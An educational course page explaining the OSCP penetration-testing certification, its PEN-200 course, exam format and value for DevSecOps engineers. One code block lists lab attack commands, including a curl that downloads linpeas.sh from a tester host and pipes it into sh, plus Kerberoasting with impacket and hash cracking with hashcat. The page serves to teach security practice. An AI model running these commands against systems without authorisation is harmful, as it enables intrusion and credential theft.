OSCP — Offensive Security Certified Professional

The offensive security page explained why a human tester finds things SAST, DAST, and SCA structurally cannot — and introduced Rocky the Raccoon as the character who does that work. This page is about the credential that proves someone can actually do it: the Offensive Security Certified Professional (OSCP), OffSec's foundational, entirely hands-on penetration-testing certification. There's no multiple choice and no simulated stand-in for the real thing — you're handed a private network of live machines and a strict clock, and the only thing that counts is whether you actually compromised them. This isn't a pitch to become a full-time penetration tester. It's for the DevSecOps engineer who wants to read a pentest report, scope a purple-team session, or push back on a red-team finding from real technical footing instead of trusting the PDF at face value — what OSCP actually tests, the format and cost you should verify before booking, and an honest read on who in this discipline should sit it.

Why this course profiles a certification that teaches nothing about pipelines or gates

☺ Like you're 10: Every other certification on this page teaches you to build or guard something. This one teaches you to break in — on purpose, with permission — so you understand exactly what you're guarding against.

Nearly everything else on this course's certifications shelf sits on the defender's side of the table: CKS hardens a cluster, CISSP covers governance, the cloud-security-specialty exams audit a provider's configuration surface. The OSCP breaks that pattern completely — it is a pure attacker credential, earned by finding and exploiting real vulnerabilities against real machines, with zero content about CI/CD gates, policy as code, or compliance evidence. It's included anyway because of a gap the offensive security for DevSecOps page names directly: a DevSecOps engineer who has never personally tried to chain a low-severity information leak into a full account takeover reads a penetration-test report the way someone who's never cooked reads a restaurant review — able to nod along, unable to independently judge whether the claimed difficulty, the "these three findings chain together" claim, or the suggested remediation priority actually reflects what happened on the engagement.

Unlike CKA's relationship to CKS — a hard, system-enforced prerequisite you cannot route around — nothing in this course's practice requires OSCP. No booking system checks for it. It's elective depth, not a gate, and that distinction matters when you're deciding whether it's worth the time: sit it because the attacker's-eye view genuinely changes how you scope a purple-team session or write a detection rule, not because anything else on this page's list is blocked without it.

What the OSCP actually is: PEN-200, "Try Harder," and a fully practical exam

☺ Like you're 10: There's no quiz to guess your way through. You get a real, broken machine, a terminal, and the expectation that you'll keep trying things long after the easy ideas run out.

The OSCP is earned by passing the certification exam tied to PEN-200, OffSec's course titled Penetration Testing with Kali Linux — long known by its older course code, PWK, before OffSec (formerly "Offensive Security," founded out of the BackTrack/Kali Linux lineage) renamed its whole catalog under a consistent PEN-/WEB-/EXP- prefix scheme. The course bundles self-paced material, videos, exercises, and time-boxed access to a lab network of dozens of intentionally vulnerable machines built to be attacked the same way the exam machines will be.

OffSec's own tagline, printed across the course materials and repeated by nearly every candidate who's sat it, is "Try Harder." It isn't a marketing throwaway — it describes the actual pedagogy. The course teaches methodology and technique rather than a walkthrough of every possible machine, and the built-in expectation is that a stuck candidate spends real, often frustrating time re-enumerating, re-reading their own notes, and trying a genuinely different approach before looking anything up. That's also why "one machine ate my entire afternoon" is treated as a normal, even expected, part of the story rather than a sign something went wrong — a real engagement doesn't hand you a hint button either.

The exam itself is entirely performance-based: zero multiple choice, zero questions about what a correct answer looks like. You're connected over VPN to a private, isolated set of target machines, and grading is based purely on evidence you extract from the machines you actually compromise, backed by a written report.

The methodology the exam actually grades

☺ Like you're 10: Every machine gets attacked the same four-step way — look everywhere, find a way in, become someone more powerful once you're inside, then prove it with a flag file only the winner could read.

OSCP's exam machines reward a repeatable process more than any single trick. The methodology the course teaches, and that a real gray-box pentest (see the offensive security page's knowledge-level table) runs on in practice, breaks into four stages:

• Enumeration — a full port scan followed by targeted service scanning, directory and virtual-host brute-forcing against any web service found, and protocol-specific enumeration (SMB shares, NFS exports, SNMP strings) against anything else listening.
• Initial foothold — matching an enumerated service and version against a known, often public exploit, or manually working a web application for the kind of flaw a scanner structurally can't reason about: SQL injection, insecure file upload, unsafe deserialization, command injection.
• Privilege escalation — once you have a low-privilege shell, finding the path to root or SYSTEM: misconfigured sudo rules and SUID binaries or an exploitable kernel on Linux; weak service permissions, unquoted service paths, or a dangerous registry setting on Windows.
• Active Directory attack chains — since OffSec folded a full AD set into the modern course and exam, the same skills applied against a small domain: Kerberoasting a service account, mapping attack paths, and moving laterally once inside using credentials harvested along the way.

# enumeration pass — the exam rewards a repeatable checklist, not memory
nmap -p- --min-rate 10000 -oA scans/allports 10.10.10.15
nmap -sC -sV -p$(grep open scans/allports.nmap | cut -d'/' -f1 | paste -sd, -) -oA scans/detailed 10.10.10.15
feroxbuster -u http://10.10.10.15 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak

# Linux privilege-escalation triage
curl -s http://10.10.14.5/linpeas.sh | sh -s -- -a > linpeas_out.txt
sudo -l
find / -perm -4000 -type f 2>/dev/null

# Active Directory: Kerberoast a service account, then crack it offline
impacket-GetUserSPNs corp.local/j.doe:'Passw0rd!' -dc-ip 10.10.10.20 -request
hashcat -m 13100 spn_hashes.txt rockyou.txt

Two exam mechanics are worth understanding before you build a study plan, precisely because both have shifted over the exam's history. Every compromised machine yields two flags — a low-privilege local.txt and a high-privilege proof.txt — each a unique string your report has to include alongside a screenshot proving control (typically a whoami or hostname run right next to a cat of the flag). And the exam's rules on tooling — historically a scripted, guaranteed-points buffer-overflow machine, and historically a hard cap of one target where Metasploit was permitted — have both been revised more than once as the course evolved. Confirm the current exam guide before assuming either detail still applies exactly as described here.

Format, cost, and prerequisites — verify before you book

☺ Like you're 10: The exam's shape and price shift now and then. Read OffSec's own page before you pay for anything, not this one.

The details below are what OffSec generally publishes and what candidates consistently report at the time of writing. Treat this as planning information, not something to quote back at anyone — packaging, pricing, and exam mechanics have all changed more than once across the certification's history.

What OSCP gives a DevSecOps engineer that a pentest report alone never will

☺ Like you're 10: Reading about someone else picking a lock is not the same as knowing, in your hands, how much force a pin actually takes before it gives.

The offensive security page walks through a concrete chain: a verbose error message, an IDOR, and a missing rate limit — three low-or-medium findings a scanner correctly rates as unremarkable individually, combined by a human tester into a full account takeover. Reading that example is useful. Having personally spent hours on an OSCP box where the only path forward was noticing that three separate small things fit together is a different kind of useful — it's the difference between trusting that a pentest report's "these findings chain together" claim is real, and being able to independently trace the chain yourself and ask a sharp follow-up question when a step doesn't hold up.

That translates into specific, everyday DevSecOps work. Scoping a purple-team session credibly means picking a realistic MITRE ATT&CK technique and knowing roughly how a red teamer would actually execute it — not just naming the technique off a matrix. Writing the kind of Sigma or Falco rule described in that same offensive-security page's detection section is sharper when you've run the attacker command sequence yourself and know exactly what it looks like on the wire, rather than reverse-engineering it purely from a CVE description. And reviewing a threat model in threat modeling — Rocky's other home in this course — goes further when "an attacker could pivot from here" is informed by having actually pivoted somewhere, using tools like chisel or ligolo-ng, rather than being a plausible-sounding guess.

Be precise about what OSCP does not give you, too. It doesn't teach detection engineering, Sigma authoring, or SIEM tuning — that's still detection engineering & security observability's job. Its lab environment is classic network, web-application, and Active Directory territory; it has essentially nothing to say about container escapes, Kubernetes RBAC abuse, or cloud IAM privilege chains, which live instead in Kubernetes security deep dive and this course's cloud-security material. And it says nothing about which techniques or objectives are worth emulating for your specific threat landscape in the first place — that's secure by design & threat intelligence's territory. OSCP sharpens the attacker's-eye view on one well-defined, classic surface. It's a real and durable skill, not a substitute for the rest of this course.

Who should sit it, and who should reasonably skip it

☺ Like you're 10: If the plan is to spend real time on the attacking side of security, this is close to the standard first step. If it isn't, there's no shame in reading about Rocky instead of becoming Rocky.

Sit the OSCP if you want genuine, hands-on attacker fluency and expect to use it — moving toward a purple-team-adjacent or internal red-team-supporting role, or simply wanting real technical footing under the offensive-security conversations this discipline increasingly has. It's also a strong fit if you already enjoy grinding constrained lab boxes (HackTheBox, TryHackMe, VulnHub) as a hobby; that's functionally the same skill the exam grades, and OSCP turns the hobby into a credential employers recognize. Note too that OSCP shares this course's other performance-based, zero-multiple-choice exam style with CKS and CKA — if that exam format suits how you learn, this is more of the same discipline pointed at a different target.

Reasonably skip it, at least for now, if your DevSecOps work is entirely upstream — pipeline tooling, SAST/SCA rule authoring, secrets scanning — with no plan to move toward exploitation-adjacent work; the honest return on the hours OSCP demands is lower there than putting the same time into secure SDLC gates or detection engineering instead. Skip it too if what you actually want is a broad governance-and-risk credential — that's CISSP or CISM territory, not this. And be honest about time: candidates commonly report several hundred hours of preparation across the course and lab material before they feel exam-ready. If that commitment doesn't fit your current season, there's no penalty in coming back to this page later — Rocky's work will still be here to learn from either way.

More ways to compare this credential against the rest of the shelf live on the certifications hub.